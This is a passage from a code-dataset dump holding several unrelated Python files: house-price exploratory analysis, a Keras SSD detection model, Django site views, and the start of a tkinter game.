'OverallQual'\ndata = pd.concat([df['SalePrice'], df[var]], axis=1)\nf, ax = plt.subplots(figsize=(8, 6))\nfig = sns.boxplot(x=var, y='SalePrice', data=data)\nfig.axis(ymin=0, ymax=800000)\nplt.savefig('../../reports/figures/house_prices_overallqual_box_plot.png')\nplt.show()\n\n# box plot yearbuilt/saleprice\nvar = 'YearBuilt'\ndata = pd.concat([df['SalePrice'], df[var]], axis=1)\nf, ax = plt.subplots(figsize=(16, 8))\nfig = sns.boxplot(x=var, y='SalePrice', data=data)\nfig.axis(ymin=0, ymax=800000)\nplt.xticks(rotation=90)\nplt.savefig('../../reports/figures/house_prices_yearbuilt_box_plot.png')\nplt.show()\n\n#%% multivariate analysis\n# correlation matrix\ncorrmat = df.corr()\nf, ax = plt.subplots(figsize=(12, 9))\nsns.heatmap(corrmat, vmax=.8, square=True)\nplt.savefig('../../reports/figures/house_prices_correlation_matrix.png')\nplt.show()\n\n#%% saleprice correlation matrix\nk = 10 # number of variables for heatmap\ncols = corrmat.nlargest(k, 'SalePrice')['SalePrice'].index\ncm = np.corrcoef(df[cols].values.T)\nsns.set(font_scale=1.25)\nhm = sns.heatmap(cm, cbar=True, annot=True, square=True, fmt='.2f', annot_kws={'size': 10},\n yticklabels=cols.values, xticklabels=cols.values)\nplt.savefig('../../reports/figures/house_prices_saleprice_correlation_matrix.png')\nplt.show()\n\n#%% scatter plot between saleprice and correlated variables\nsns.set()\ncols = ['SalePrice', 'OverallQual', 'GrLivArea', 'GarageCars', 'TotalBsmtSF', 'FullBath', 'YearBuilt']\nsns.pairplot(df[cols], size=2.5)\nplt.savefig('../../reports/figures/house_prices_saleprice_scatter_plots.png')\nplt.show()\n\n#%% missing data\ntotal = df.isnull().sum().sort_values(ascending=False)\npercent = (df.isnull().sum()/df.isnull().count()).sort_values(ascending=False)\nmissing_data = pd.concat([total, percent], axis=1, keys=['Total', 'Percent'])\nprint(missing_data.head(20))\n\n#%% dealing with missing data\ndf = df.drop((missing_data[missing_data['Total'] > 1]).index, 1)\ndf = df.drop(df.loc[df['Electrical'].isnull()].index)\nprint(df.isnull().sum().max())\n\n#%% outliers\n# univariate analysis\nsaleprice_scaled = StandardScaler().fit_transform(df['SalePrice'][:, np.newaxis])\nlow_range = saleprice_scaled[saleprice_scaled[:, 0].argsort()][:10]\nhigh_range = saleprice_scaled[saleprice_scaled[:, 0].argsort()][-10:]\nprint('Outer range (low) of the distribution:')\nprint(low_range)\nprint('\\nOuter range (high) of the distribution:')\nprint(high_range)\n\n#%% bivariate analysis\n# saleprice/grlivarea\n# deleting points\nprint(df.sort_values(by='GrLivArea', ascending=False)[:2])\ndf = df.drop(df[df['Id'] == 1299].index)\ndf = df.drop(df[df['Id'] == 524].index)\n\nvar = 'GrLivArea'\ndata = pd.concat([df['SalePrice'], df[var]], axis=1)\ndata.plot.scatter(x=var, y='SalePrice', ylim=(0, 800000))\nplt.savefig('../../reports/figures/house_prices_saleprice_grlivarea_scatter_plot.png')\nplt.show()\n\n#%% normality\n# saleprice\n# histogram and normal probability plot\nsns.distplot(df['SalePrice'], fit=norm)\nplt.savefig('../../reports/figures/house_prices_saleprice_normality_histogram.png')\nplt.show()\n\nfig = plt.figure()\nres = stats.probplot(df['SalePrice'], plot=plt)\nplt.savefig('../../reports/figures/house_prices_saleprice_normal_probability_plot.png')\nplt.show()\n\n#%% log transformations\ndf['SalePrice'] = np.log(df['SalePrice'])\n\n# transformed histogram and normal probability plot\nsns.distplot(df['SalePrice'], fit=norm)\nplt.savefig('../../reports/figures/house_prices_transformed_saleprice_normality_histogram.png')\nplt.show()\n\nfig = plt.figure()\nres = stats.probplot(df['SalePrice'], plot=plt)\nplt.savefig('../../reports/figures/house_prices_transformed_saleprice_normal_probability_plot.png')\nplt.show()\n\n#%% grlivarea\n# histogram and normal probability plot\nsns.distplot(df['GrLivArea'], fit=norm)\nplt.savefig('../../reports/figures/house_prices_grlivarea_normality_histogram.png')\nplt.show()\n\nfig = plt.figure()\nres = stats.probplot(df['GrLivArea'], plot=plt)\nplt.savefig('../../reports/figures/house_prices_grlivarea_normal_probability_plot.png')\nplt.show()\n\n# log transformations\ndf['GrLivArea'] = np.log(df['GrLivArea'])\n\n# transformed histogram and normal probability plot\nsns.distplot(df['GrLivArea'], fit=norm)\nplt.savefig('../../reports/figures/house_prices_transformed_grlivarea_normality_histogram.png')\nplt.show()\n\nfig = plt.figure()\nres = stats.probplot(df['GrLivArea'], plot=plt)\nplt.savefig('../../reports/figures/house_prices_transformed_grlivarea_normal_probability_plot.png')\nplt.show()\n\n#%% totalbsmtsf\n# histogram and normal probability plot\nsns.distplot(df['TotalBsmtSF'], fit=norm)\nplt.savefig('../../reports/figures/house_prices_totalbsmtsf_normality_histogram.png')\nplt.show()\n\nfig = plt.figure()\nres = stats.probplot(df['TotalBsmtSF'], plot=plt)\nplt.savefig('../../reports/figures/house_prices_totalbsmtsf_normal_probability_plot.png')\nplt.show()\n\n# create new column\n# if area > 0 it gets 1, for area == 0 it gets 0\ndf['HasBsmt'] = pd.Series(len(df['TotalBsmtSF']), index=df.index)\ndf['HasBsmt'] = 0\ndf.loc[df['TotalBsmtSF'] > 0, 'HasBsmt'] = 1\n\n# log transformations\ndf.loc[df['HasBsmt'] == 1, 'TotalBsmtSF'] = np.log(df['TotalBsmtSF'])\n\n# transformed histogram and normal probability plot\nsns.distplot(df[df['TotalBsmtSF'] > 0]['TotalBsmtSF'], fit=norm)\nplt.savefig('../../reports/figures/house_prices_transformed_totalbsmtsf_normality_histogram.png')\nplt.show()\n\nfig = plt.figure()\nres = stats.probplot(df[df['TotalBsmtSF'] > 0]['TotalBsmtSF'], plot=plt)\nplt.savefig('../../reports/figures/house_prices_transformed_totalbsmtsf_normal_probability_plot.png')\nplt.show()\n\n#%% homoscedasticity\n# scatter plot\nplt.scatter(df['GrLivArea'], df['SalePrice'])\nplt.savefig('../../reports/figures/house_prices_transformed_saleprice_grlivarea_scatter_plot.png')\nplt.show()\n\nplt.scatter(df[df['TotalBsmtSF'] > 0]['TotalBsmtSF'], df[df['TotalBsmtSF'] > 0]['SalePrice'])\nplt.savefig('../../reports/figures/house_prices_transformed_saleprice_totalbsmtsf_scatter_plot.png')\nplt.show()\n\n#%% convert categorical variable into dummy\ndf = pd.get_dummies(df)\nprint(df.head())\ndf.to_csv('../../data/processed/house_prices.csv', index=False)\n","sub_path":"src/data/house_prices.py","file_name":"house_prices.py","file_ext":"py","file_size_in_byte":7415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"83860746","text":"import numpy as np\nfrom keras.applications.imagenet_utils import preprocess_input\nfrom keras.layers import Input, Lambda, Activation, Conv2D, MaxPooling2D, ZeroPadding2D, Reshape, Concatenate\nfrom keras.regularizers import l2\nfrom keras_layers.keras_layer_L2Normalization import L2Normalization\nfrom keras_layer_AnchorBoxes import AnchorBoxes\nfrom keras_layers.keras_layer_DecodeDetections import DecodeDetections\nfrom keras.models import Model\n\ndef model(img_size,\n n_classes,\n mode='training',\n l2_regularization=0.0005,\n min_scale=None,\n max_scale=None,\n scales=None,\n aspect_ratios_per_layer=[[1.0, 2.0, 0.5],\n [1.0, 2.0, 0.5, 3.0, 1.0/3.0],\n [1.0, 2.0, 0.5, 3.0, 1.0/3.0],\n [1.0, 2.0, 0.5, 3.0, 1.0/3.0],\n [1.0, 2.0, 0.5],\n [1.0, 2.0, 0.5]],\n steps=[8, 16, 32, 64, 100, 300],\n offsets=None,\n clip_boxes=False,\n variances=[0.1, 0.1, 0.2, 0.2],\n coords='centroids',\n normalize_coords=True,\n confidence_thresh=0.01,\n iou_threshold=0.45,\n top_k=200,\n nms_max_output_size=400,\n return_predictor_sizes=False):\n n_predictor_layers = 6\n n_classes = n_classes\n l2_reg = l2_regularization\n img_height,img_width,img_c = img_size[0],img_size[1],img_size[2]\n if aspect_ratios_per_layer:\n if len(aspect_ratios_per_layer) != n_predictor_layers:\n raise ValueError(\n \"It must be either aspect_ratios_per_layer is None or len(aspect_ratios_per_layer) == {}, but len(aspect_ratios_per_layer) == {}.\".format(\n n_predictor_layers, len(aspect_ratios_per_layer)))\n if scales:\n if len(scales) != n_predictor_layers + 1:\n raise ValueError(\"It must be either scales is None or len(scales) == {}, but len(scales) == {}.\".format(\n n_predictor_layers + 1, len(scales)))\n else: # If no explicit list of scaling factors was passed, compute the list of scaling factors from `min_scale` and `max_scale`\n scales = np.linspace(min_scale, max_scale, n_predictor_layers + 1)\n\n if len(variances) != 4:\n raise ValueError(\"4 variance values must be pased, but {} values were received.\".format(len(variances)))\n variances = np.array(variances)\n if np.any(variances <= 0):\n raise ValueError(\"All variances must be >0, but the variances given are {}\".format(variances))\n\n if (not (steps is None)) and (len(steps) != n_predictor_layers):\n raise ValueError(\"You must provide at least one step value per predictor layer.\")\n\n if (not (offsets is None)) and (len(offsets) != n_predictor_layers):\n raise ValueError(\"You must provide at least one offset value per predictor layer.\")\n\n # Set the aspect ratios for each predictor layer. These are only needed for the anchor box layers.\n aspect_ratios = aspect_ratios_per_layer\n # Compute the number of boxes to be predicted per cell for each predictor layer.\n # We need this so that we know how many channels the predictor layers need to have.\n if aspect_ratios_per_layer:\n n_boxes = []\n for ar in aspect_ratios_per_layer:\n if (1 in ar):\n n_boxes.append(len(ar) + 1) # +1 for the second box for aspect ratio 1\n else:\n n_boxes.append(len(ar))\n\n\n #构建网络\n def identity_layer(tensor):\n return tensor\n def preprocess(tensor):\n return preprocess_input(tensor)\n img_input = Input(shape=(img_height, img_width, img_c))\n #将数据转化为imgnet输入格式,均值为0,没有缩放,RGB转成BGR\n #x = Lambda(identity_layer, output_shape=(img_height, img_width, img_c), name='identity_layer')(img_input)\n #x = preprocess_input(img_input)\n x = Lambda(preprocess,output_shape=(img_height, img_width, img_c), name='process_layer')(img_input)\n # Block 1\n conv1_1 = Conv2D(64, (3, 3), activation='relu', padding='same',kernel_regularizer=l2(l2_reg), name='block1_conv1')(x)\n conv1_2 = Conv2D(64, (3, 3), activation='relu', padding='same',kernel_regularizer=l2(l2_reg), name='block1_conv2')(conv1_1)\n pool1 = MaxPooling2D((2, 2), strides=(2, 2), name='block1_pool')(conv1_2)\n\n # Block 2\n conv2_1 = Conv2D(128, (3, 3), activation='relu', padding='same',kernel_regularizer=l2(l2_reg), name='block2_conv1')(pool1)\n conv2_2 = Conv2D(128, (3, 3), activation='relu', padding='same',kernel_regularizer=l2(l2_reg), name='block2_conv2')(conv2_1)\n pool2 = MaxPooling2D((2, 2), strides=(2, 2), name='block2_pool')(conv2_2)\n\n # Block 3\n conv3_1 = Conv2D(256, (3, 3), activation='relu', padding='same',kernel_regularizer=l2(l2_reg), name='block3_conv1')(pool2)\n conv3_2 = Conv2D(256, (3, 3), activation='relu', padding='same',kernel_regularizer=l2(l2_reg),name='block3_conv2')(conv3_1)\n conv3_3 = Conv2D(256, (3, 3), activation='relu', padding='same',kernel_regularizer=l2(l2_reg), name='block3_conv3')(conv3_2)\n pool3 = MaxPooling2D((2, 2), strides=(2, 2), name='block3_pool')(conv3_3)\n\n # Block 4\n conv4_1 = Conv2D(512, (3, 3), activation='relu', padding='same',kernel_regularizer=l2(l2_reg), name='block4_conv1')(pool3)\n conv4_2 = Conv2D(512, (3, 3), activation='relu', padding='same',kernel_regularizer=l2(l2_reg), name='block4_conv2')(conv4_1)\n conv4_3 = Conv2D(512, (3, 3), activation='relu', padding='same',kernel_regularizer=l2(l2_reg), name='block4_conv3')(conv4_2)\n pool4 = MaxPooling2D((2, 2), strides=(2, 2), name='block4_pool')(conv4_3)\n\n # Block 5\n conv5_1 = Conv2D(512, (3, 3), activation='relu', padding='same',kernel_regularizer=l2(l2_reg), name='block5_conv1')(pool4)\n conv5_2 = Conv2D(512, (3, 3), activation='relu', padding='same',kernel_regularizer=l2(l2_reg), name='block5_conv2')(conv5_1)\n conv5_3 = Conv2D(512, (3, 3), activation='relu', padding='same',kernel_regularizer=l2(l2_reg), name='block5_conv3')(conv5_2)\n pool5 = MaxPooling2D((2, 2), strides=(2, 2), name='block5_pool')(conv5_3)\n\n fc6 = Conv2D(1024, (3, 3), dilation_rate=(6, 6), activation='relu', padding='same', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='fc6')(pool5)\n\n fc7 = Conv2D(1024, (1, 1), activation='relu', padding='same', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='fc7')(fc6)\n\n conv6_1 = Conv2D(256, (1, 1), activation='relu', padding='same', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='conv6_1')(fc7)\n conv6_1 = ZeroPadding2D(padding=((1, 1), (1, 1)), name='conv6_padding')(conv6_1)\n conv6_2 = Conv2D(512, (3, 3), strides=(2, 2), activation='relu', padding='valid', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='conv6_2')(conv6_1)\n\n conv7_1 = Conv2D(128, (1, 1), activation='relu', padding='same', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='conv7_1')(conv6_2)\n conv7_1 = ZeroPadding2D(padding=((1, 1), (1, 1)), name='conv7_padding')(conv7_1)\n conv7_2 = Conv2D(256, (3, 3), strides=(2, 2), activation='relu', padding='valid', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='conv7_2')(conv7_1)\n\n conv8_1 = Conv2D(128, (1, 1), activation='relu', padding='same', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='conv8_1')(conv7_2)\n conv8_2 = Conv2D(256, (3, 3), strides=(1, 1), activation='relu', padding='valid', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='conv8_2')(conv8_1)\n\n conv9_1 = Conv2D(128, (1, 1), activation='relu', padding='same', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='conv9_1')(conv8_2)\n conv9_2 = Conv2D(256, (3, 3), strides=(1, 1), activation='relu', padding='valid', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='conv9_2')(conv9_1)\n\n # Feed conv4_3 into the L2 normalization layer\n conv4_3_norm = L2Normalization(gamma_init=20, name='conv4_3_norm')(conv4_3)\n #预测分类的网络,输出shape=(batchsize,featuremap_h,featuremap_w,n_box_type*n_classes)\n conv4_3_norm_mbox_conf = Conv2D(n_boxes[0] * n_classes, (3, 3), padding='same', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='conv4_3_norm_mbox_conf')(conv4_3_norm)\n fc7_mbox_conf = Conv2D(n_boxes[1] * n_classes, (3, 3), padding='same', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='fc7_mbox_conf')(fc7)\n conv6_2_mbox_conf = Conv2D(n_boxes[2] * n_classes, (3, 3), padding='same', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='conv6_2_mbox_conf')(conv6_2)\n conv7_2_mbox_conf = Conv2D(n_boxes[3] * n_classes, (3, 3), padding='same', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='conv7_2_mbox_conf')(conv7_2)\n conv8_2_mbox_conf = Conv2D(n_boxes[4] * n_classes, (3, 3), padding='same', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='conv8_2_mbox_conf')(conv8_2)\n conv9_2_mbox_conf = Conv2D(n_boxes[5] * n_classes, (3, 3), padding='same', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='conv9_2_mbox_conf')(conv9_2)\n #reshape成(batchsize,None,n_classes)\n conv4_3_norm_mbox_conf_reshape = Reshape((-1, n_classes), name='conv4_3_norm_mbox_conf_reshape')(\n conv4_3_norm_mbox_conf)\n fc7_mbox_conf_reshape = Reshape((-1, n_classes), name='fc7_mbox_conf_reshape')(fc7_mbox_conf)\n conv6_2_mbox_conf_reshape = Reshape((-1, n_classes), name='conv6_2_mbox_conf_reshape')(conv6_2_mbox_conf)\n conv7_2_mbox_conf_reshape = Reshape((-1, n_classes), name='conv7_2_mbox_conf_reshape')(conv7_2_mbox_conf)\n conv8_2_mbox_conf_reshape = Reshape((-1, n_classes), name='conv8_2_mbox_conf_reshape')(conv8_2_mbox_conf)\n conv9_2_mbox_conf_reshape = Reshape((-1, n_classes), name='conv9_2_mbox_conf_reshape')(conv9_2_mbox_conf)\n #concat各个层的输出,然后用softmax激活\n mbox_conf = Concatenate(axis=1, name='mbox_conf')([conv4_3_norm_mbox_conf_reshape,\n fc7_mbox_conf_reshape,\n conv6_2_mbox_conf_reshape,\n conv7_2_mbox_conf_reshape,\n conv8_2_mbox_conf_reshape,\n conv9_2_mbox_conf_reshape])\n mbox_conf_softmax = Activation('softmax', name='mbox_conf_softmax')(mbox_conf)\n\n #预测定位的网络,shape=(batchsize,featuremap_h,featuremap_w,n_box_type*4)\n conv4_3_norm_mbox_loc = Conv2D(n_boxes[0] * 4, (3, 3), padding='same', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='conv4_3_norm_mbox_loc')(conv4_3_norm)\n fc7_mbox_loc = Conv2D(n_boxes[1] * 4, (3, 3), padding='same', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='fc7_mbox_loc')(fc7)\n conv6_2_mbox_loc = Conv2D(n_boxes[2] * 4, (3, 3), padding='same', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='conv6_2_mbox_loc')(conv6_2)\n conv7_2_mbox_loc = Conv2D(n_boxes[3] * 4, (3, 3), padding='same', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='conv7_2_mbox_loc')(conv7_2)\n conv8_2_mbox_loc = Conv2D(n_boxes[4] * 4, (3, 3), padding='same', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='conv8_2_mbox_loc')(conv8_2)\n conv9_2_mbox_loc = Conv2D(n_boxes[5] * 4, (3, 3), padding='same', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='conv9_2_mbox_loc')(conv9_2)\n #reshape成(batchsize,None,4)\n conv4_3_norm_mbox_loc_reshape = Reshape((-1, 4), name='conv4_3_norm_mbox_loc_reshape')(conv4_3_norm_mbox_loc)\n fc7_mbox_loc_reshape = Reshape((-1, 4), name='fc7_mbox_loc_reshape')(fc7_mbox_loc)\n conv6_2_mbox_loc_reshape = Reshape((-1, 4), name='conv6_2_mbox_loc_reshape')(conv6_2_mbox_loc)\n conv7_2_mbox_loc_reshape = Reshape((-1, 4), name='conv7_2_mbox_loc_reshape')(conv7_2_mbox_loc)\n conv8_2_mbox_loc_reshape = Reshape((-1, 4), name='conv8_2_mbox_loc_reshape')(conv8_2_mbox_loc)\n conv9_2_mbox_loc_reshape = Reshape((-1, 4), name='conv9_2_mbox_loc_reshape')(conv9_2_mbox_loc)\n #concat各层预测的定位输出\n mbox_loc = Concatenate(axis=1, name='mbox_loc')([conv4_3_norm_mbox_loc_reshape,\n fc7_mbox_loc_reshape,\n conv6_2_mbox_loc_reshape,\n conv7_2_mbox_loc_reshape,\n conv8_2_mbox_loc_reshape,\n conv9_2_mbox_loc_reshape])\n #引进anchor网络,便于多目标定位,卷积性质决定\n # Output shape of anchors: `(batch, height, width, n_boxes, 8)`\n conv4_3_norm_mbox_priorbox = AnchorBoxes(img_height, img_width, this_scale=scales[0], next_scale=scales[1],\n aspect_ratios=aspect_ratios[0],\n this_steps=steps[0],\n this_offsets=offsets[0], clip_boxes=clip_boxes,\n variances=variances, coords=coords, normalize_coords=normalize_coords,\n name='conv4_3_norm_mbox_priorbox')(conv4_3_norm_mbox_loc)\n fc7_mbox_priorbox = AnchorBoxes(img_height, img_width, this_scale=scales[1], next_scale=scales[2],\n aspect_ratios=aspect_ratios[1],\n this_steps=steps[1], this_offsets=offsets[1],\n clip_boxes=clip_boxes,\n variances=variances, coords=coords, normalize_coords=normalize_coords,\n name='fc7_mbox_priorbox')(fc7_mbox_loc)\n conv6_2_mbox_priorbox = AnchorBoxes(img_height, img_width, this_scale=scales[2], next_scale=scales[3],\n aspect_ratios=aspect_ratios[2],\n this_steps=steps[2],\n this_offsets=offsets[2], clip_boxes=clip_boxes,\n variances=variances, coords=coords, normalize_coords=normalize_coords,\n name='conv6_2_mbox_priorbox')(conv6_2_mbox_loc)\n conv7_2_mbox_priorbox = AnchorBoxes(img_height, img_width, this_scale=scales[3], next_scale=scales[4],\n aspect_ratios=aspect_ratios[3],\n this_steps=steps[3],\n this_offsets=offsets[3], clip_boxes=clip_boxes,\n variances=variances, coords=coords, normalize_coords=normalize_coords,\n name='conv7_2_mbox_priorbox')(conv7_2_mbox_loc)\n conv8_2_mbox_priorbox = AnchorBoxes(img_height, img_width, this_scale=scales[4], next_scale=scales[5],\n aspect_ratios=aspect_ratios[4],\n this_steps=steps[4],\n this_offsets=offsets[4], clip_boxes=clip_boxes,\n variances=variances, coords=coords, normalize_coords=normalize_coords,\n name='conv8_2_mbox_priorbox')(conv8_2_mbox_loc)\n conv9_2_mbox_priorbox = AnchorBoxes(img_height, img_width, this_scale=scales[5], next_scale=scales[6],\n aspect_ratios=aspect_ratios[5],\n this_steps=steps[5],\n this_offsets=offsets[5], clip_boxes=clip_boxes,\n variances=variances, coords=coords, normalize_coords=normalize_coords,\n name='conv9_2_mbox_priorbox')(conv9_2_mbox_loc)\n #reshape成(batchsize,None,8)\n conv4_3_norm_mbox_priorbox_reshape = Reshape((-1, 8), name='conv4_3_norm_mbox_priorbox_reshape')(\n conv4_3_norm_mbox_priorbox)\n fc7_mbox_priorbox_reshape = Reshape((-1, 8), name='fc7_mbox_priorbox_reshape')(fc7_mbox_priorbox)\n conv6_2_mbox_priorbox_reshape = Reshape((-1, 8), name='conv6_2_mbox_priorbox_reshape')(conv6_2_mbox_priorbox)\n conv7_2_mbox_priorbox_reshape = Reshape((-1, 8), name='conv7_2_mbox_priorbox_reshape')(conv7_2_mbox_priorbox)\n conv8_2_mbox_priorbox_reshape = Reshape((-1, 8), name='conv8_2_mbox_priorbox_reshape')(conv8_2_mbox_priorbox)\n conv9_2_mbox_priorbox_reshape = Reshape((-1, 8), name='conv9_2_mbox_priorbox_reshape')(conv9_2_mbox_priorbox)\n\n #concat各层的anchor\n mbox_priorbox = Concatenate(axis=1, name='mbox_priorbox')([conv4_3_norm_mbox_priorbox_reshape,\n fc7_mbox_priorbox_reshape,\n conv6_2_mbox_priorbox_reshape,\n conv7_2_mbox_priorbox_reshape,\n conv8_2_mbox_priorbox_reshape,\n conv9_2_mbox_priorbox_reshape])\n #将最终结果concat\n # Output shape of `predictions`: (batch, n_boxes_total, n_classes + 4 + 8)\n predictions = Concatenate(axis=2, name='predictions')([mbox_conf_softmax, mbox_loc, mbox_priorbox])\n\n if mode == 'training':\n model = Model(inputs=img_input, outputs=predictions)\n elif mode == 'inference':\n decoded_predictions = DecodeDetections(confidence_thresh=confidence_thresh,\n iou_threshold=iou_threshold,\n top_k=top_k,\n nms_max_output_size=nms_max_output_size,\n coords=coords,\n normalize_coords=normalize_coords,\n img_height=img_height,\n img_width=img_width,\n name='decoded_predictions')(predictions)\n model = Model(inputs=img_input, outputs=decoded_predictions)\n\n else:\n raise ValueError(\n \"`mode` must be one of 'training', 'inference' or 'inference_fast', but received '{}'.\".format(mode))\n\n if return_predictor_sizes:\n predictor_sizes = np.array([conv4_3_norm_mbox_conf._keras_shape[1:3],\n fc7_mbox_conf._keras_shape[1:3],\n conv6_2_mbox_conf._keras_shape[1:3],\n conv7_2_mbox_conf._keras_shape[1:3],\n conv8_2_mbox_conf._keras_shape[1:3],\n conv9_2_mbox_conf._keras_shape[1:3]])\n return model, predictor_sizes\n else:\n return model\n","sub_path":"code/net.py","file_name":"net.py","file_ext":"py","file_size_in_byte":19908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"391228895","text":"# -*- coding: utf-8 -*-\n\nfrom django.core.context_processors import csrf\nfrom django.contrib import messages\nfrom django.http import Http404, HttpResponseRedirect, HttpResponse\nfrom django.shortcuts import render_to_response\nfrom django.template import RequestContext\nfrom django.utils.simplejson import dumps\nfrom django.views.decorators.cache import cache_page\n\nfrom call_order.forms import RequestForm\nfrom request.forms import RegisterForm\nfrom bonuses.models import Article\nfrom products.models import Product\nfrom pages.models import Page\nfrom slideshow.models import Slider\nfrom livesettings import config_value\nimport config\n\n\nCACHE_TIME=60*60\n\ndef get_common_context(request):\n c = {}\n c['request_url'] = request.path\n c['settings'] = { 'email': config_value('MyApp', 'EMAIL'), }\n c.update(csrf(request))\n c['call_form'] = RequestForm()\n\n return c\n\n\"\"\"\ndef page(request):\n c = get_common_context(request)\n if request.POST and request.POST['action'] == 'call':\n call_form = RequestForm(request.POST)\n if call_form.is_valid():\n call_form.save()\n call_form = RequestForm()\n messages.success(request, u'Спасибо! В ближайшее время мы Вам перезвоним.')\n return HttpResponseRedirect('/')\n else:\n call_form = RequestForm()\n\n if request.POST and request.POST['action'] == 'request':\n reg_form = RegisterForm(request.POST)\n if reg_form.is_valid():\n reg_form.save()\n reg_form = RegisterForm()\n messages.success(request, u'Спасибо! Ваша заявка отправлена.')\n return HttpResponseRedirect('/')\n else:\n reg_form = RegisterForm()\n\n if request.POST and request.POST['action'] == 'review':\n review_form = ReviewForm(request.POST)\n if review_form.is_valid():\n review_form.save()\n review_form = ReviewForm()\n messages.success(request, u'Спасибо! Ваш отзыв отправлен.')\n return HttpResponseRedirect('/')\n else:\n review_form = ReviewForm()\n\n c['call_form'] = call_form\n c['reg_form'] = reg_form\n c['review_form'] = review_form\n c['photos'] = Photo.objects.all()\n c['reviews'] = Review.objects.all()\n return render_to_response('base.html', c, context_instance=RequestContext(request))\n\"\"\"\n@cache_page(CACHE_TIME)\ndef page(request, page_name):\n c = get_common_context(request)\n\n try:\n c.update(Page.get_by_slug(page_name))\n return render_to_response('page.html', c, context_instance=RequestContext(request))\n except:\n raise Http404()\n\n\"\"\"\n\n url(r'^about/$', views.about),\n url(r'^products/$', views.products),\n url(r'^products/(?P[\\w-]+)/$', views.products_in),\n url(r'^services/$', views.services),\n\"\"\"\n\n@cache_page(CACHE_TIME)\ndef home(request):\n c = get_common_context(request)\n c.update(Page.get_by_slug('home'))\n c['slideshow'] = Slider.objects.all()\n return render_to_response('home.html', c, context_instance=RequestContext(request))\n\n\ndef ajax_call(request):\n if request.is_ajax():\n json_data = {'result': True}\n call_form = RequestForm(request.POST)\n if call_form.is_valid():\n call_form.save()\n else:\n json_data['result'] = False\n json_data['errors'] = call_form.errors\n return HttpResponse(dumps(json_data), mimetype='application/json')\n\n\ndef call(request):\n c = get_common_context(request)\n if request.POST and request.POST['action'] == 'call':\n call_form = RequestForm(request.POST)\n if call_form.is_valid():\n call_form.save()\n call_form = RequestForm()\n #messages.success(request, u'Спасибо! В ближайшее время мы Вам перезвоним.')\n return HttpResponseRedirect(request.POST['next'])\n raise Http404()\n\n\ndef ajax_request(request):\n if request.is_ajax():\n json_data = {'result': True}\n call_form = RegisterForm(request.POST)\n if call_form.is_valid():\n call_form.save()\n else:\n json_data['result'] = False\n json_data['errors'] = call_form.errors\n return HttpResponse(dumps(json_data), mimetype='application/json')\n\n\ndef request_f(request):\n c = get_common_context(request)\n if request.POST and request.POST['action'] == 'request':\n call_form = RegisterForm(request.POST)\n if call_form.is_valid():\n call_form.save()\n call_form = RegisterForm()\n #messages.success(request, u'Спасибо! В ближайшее время мы Вам перезвоним.')\n return HttpResponseRedirect(request.POST['next'])\n raise Http404()\n\n\n@cache_page(CACHE_TIME)\ndef bonuses(request):\n c = get_common_context(request)\n c['bonuses'] = Article.objects.all()\n return render_to_response('bonuses.html', c, context_instance=RequestContext(request))\n\n\n@cache_page(CACHE_TIME)\ndef bonuses_in(request, page_name):\n c = get_common_context(request)\n c['bonus'] = Article.get_by_slug(page_name)\n return render_to_response('bonuses_in.html', c, context_instance=RequestContext(request))\n\n\n@cache_page(CACHE_TIME)\ndef contacts(request):\n c = get_common_context(request)\n return render_to_response('contacts.html', c, context_instance=RequestContext(request))\n\n\n@cache_page(CACHE_TIME)\ndef about(request):\n c = get_common_context(request)\n c.update(Page.get_by_slug('about'))\n return render_to_response('about.html', c, context_instance=RequestContext(request))\n\n\n@cache_page(CACHE_TIME)\ndef products(request):\n c = get_common_context(request)\n c['products'] = Product.objects.all()\n return render_to_response('products.html', c, context_instance=RequestContext(request))\n\n\n@cache_page(CACHE_TIME)\ndef products_in(request, page_name):\n c = get_common_context(request)\n c['product'] = Product.get_by_slug(page_name)\n return render_to_response('products_in.html', c, context_instance=RequestContext(request))\n\n\n@cache_page(CACHE_TIME)\ndef services(request):\n c = get_common_context(request)\n c.update(Page.get_by_slug('services'))\n return render_to_response('services.html', c, context_instance=RequestContext(request))\n","sub_path":"festlab/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"384122828","text":"from tkinter import *\nimport time\nfrom Gravity import Gravity\nfrom Restart import restart\n\nclass Background(object):\n def __init__(self):\n self.a = Tk()\n self.b = Canvas(self.a, width = 600, height = 600)\n self.step = self.b.create_rectangle(100, 440, 250, 600, fill='red')\n self.grass = self.b.create_rectangle(0, 520, 600, 600, fill=\"green\")\n self.wall = self.b.create_rectangle(250, 350, 300, 550, fill='grey')\n #hole extends by 3 to make it possible to fall in only visually not in the actual implementation\n self.hole = self.b.create_rectangle(60, 520, 93, 600, fill='black')\n self.wall2 = self.b.create_rectangle(350, 350, 400, 550, fill='red')\n self.goalwall = self.b.create_rectangle(550,350,600,550, fill='yellow')\n\n self.b.pack()\n self.obsticles = [{'width':250,'height':350, 'id':1}, {'width':350, 'height':350, 'id':2}]\n self.holes 